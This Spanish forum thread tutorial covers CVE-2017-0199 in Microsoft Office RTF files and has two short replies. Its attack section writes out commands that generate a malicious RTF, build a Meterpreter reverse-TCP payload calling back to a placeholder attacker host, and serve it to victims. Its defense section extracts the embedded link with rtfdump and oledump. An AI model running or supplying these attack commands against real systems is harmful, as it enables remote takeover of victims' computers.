CVE-2017-0199 - Análisis y Generación

  • 2 Respuestas
  • 3443 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado blackdrake

  • *
  • Co Admin
  • Mensajes: 1987
  • Actividad:
    23.33%
  • Country: es
  • Reputación 21
    • Ver Perfil

CVE-2017-0199 - Análisis y Generación

  • en: Enero 28, 2018, 06:42:55 am
Hola a todos!

Hoy os traigo un aporte sobre el CVE-2017-0199, ésta es una vulnerabilidad de ejecución de código arbitrario en Microsoft Office que se manifiesta debido a un manejo incorrecto de los archivos de formato de texto enriquecido (RTF).


Por lo general se ha detectado el ataques en mensajes de correo electrónico donde la víctima abre un documento específicamente diseñado para explotar la vulnerabilidad. Es importante mencionar que esta vulnerabilidad continúa siendo explotada activamente.



Ataque


En este caso empezaremos por el principio, la creación del documento, se puede crear de forma manual, pero a día de hoy existen generadores para ahorrar tiempo, por lo que en este caso lo utilizaremos así, yo he usado este https://github.com/bhdresh/CVE-2017-0199 aunque podéis utilizar el que vosotros queráis.

Primero generamos el RTF.

Código: (bash) [Seleccionar]
python cve-2017-0199_toolkit.py -M gen -t RTF -w underc0de.rtf -u http://TUIP/logo.doc

Generamos el meterpreter (OPCIONAL)

Código: (bash) [Seleccionar]
msfvenom -p windows/meterpreter/reverse_tcp LHOST=TUIP LPORT=4444 -f exe > /tmp/shell.exe
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST TUIP; run"

Iniciamos la tool en modo exploit
Código: (bash) [Seleccionar]
python cve-2017-0199_toolkit.py -M exp -t RTF -e http://TUIP/shell.exe -l /tmp/shell.exe

El gráfico actual de ataque sería el siguiente:


Aunque también podemos utilizarlo en modo remoto de la siguiente forma.


Al abrir nuestro documento nos aparecerá el siguiente error, si la víctima pulsa "Si" nuestro servidor recibirá la petición y recibiremos nuestra sesión de meterpreter





Defensa


Ahora que ya tenemos nuestro documento, es hora del análisis, para ello utilizaremos una tool desarrollada en python llamada rtfdump, utilizaremos esta herramienta para sacar la URL verdadera y llegar a la conclusión de si el fichero RTF es seguro o no.

En primer lugar abriremos nuestro documento a través de la rtfdump.
Código: (bash) [Seleccionar]
python rtfdump.py  underc0de.rtf

Como nos devuelve mucha información, cerraremos el cerco buscando únicamente los objetos OLE 1.0 que tiene nuestro documento.
Código: (bash) [Seleccionar]
python rtfdump.py -f O underc0de.rtf
Obtenemos un único objeto con el índice 10.



Hacemos una búsqueda más exhaustiva de nuestro índice.

Código: (bash) [Seleccionar]
python rtfdump.py -s 10  underc0de.rtf | more

En este volcado hexadecimal / ascii, podemos ver que el texto comienza con 01050000 02000000, lo que significa que es un objeto OLE 1.0. Además detectamos el string d0cf11e0, suponiendo que contiene un archivo OLE.

Con la opición -H, convertiremos los caracteres hexadecimales a binario:

Código: (bash) [Seleccionar]
python rtfdump.py -s 10  -H underc0de.rtf | more

Obtenemos el string OLE2Link, a la que se ha hecho referencia. Con la opción -i, podemos obtener más información sobre el objeto incrustado:

Código: (bash) [Seleccionar]
python rtfdump.py -s 10 -H -i underc0de.rtf

Ahora que estamos seguros de que es un fichero OLE incrustado utilizamos -E para extraerlo.

Código: (bash) [Seleccionar]
python rtfdump.py -s 10 -H -E underc0de.rtf

Para analizar este fichero, utilizaremos oledump (http://didierstevens.com/files/software/oledump_V0_0_30.zip), oledump necesita el modulo olefile, por lo que si no lo tenéis, deberéis instalarlo antes (pip install -U olefile)

Utilizando -d y un pipeline, le pasaremos el fichero extraído a oledump.

Código: (bash) [Seleccionar]
python rtfdump.py -s 10 -H -E -d underc0de.rtf | oledump.py

Obtenemos 3 resultados, vamos a echarle un vistazo al primero mediante el siguiente comando.

Código: (bash) [Seleccionar]
python rtfdump.py -s 10 -H -E -d underc0de.rtf | python oledump.py -s 1
Y finalmente obtenemos la URL del documento infectado.


Espero que os haya gustado,

Un saludo.
« Última modificación: Enero 28, 2018, 06:45:13 am por blackdrake »


Desconectado HATI

  • *
  • Ex-Staff
  • *****
  • Mensajes: 453
  • Actividad:
    0%
  • Reputación 13
    • Ver Perfil

Re:CVE-2017-0199 - Análisis y Generación

  • en: Febrero 02, 2018, 05:53:37 am
Está genial @Black, en cuanto pueda lo pruebo.


Jugar o perder

Desconectado KiddArabic

  • *
  • Underc0der
  • Mensajes: 304
  • Actividad:
    3.33%
  • Reputación 1
  • Vivir sin sueño no es vivir.
    • Ver Perfil

Re:CVE-2017-0199 - Análisis y Generación

  • en: Febrero 02, 2018, 03:43:39 pm
Puedes hacer otro explicando Exploits de php?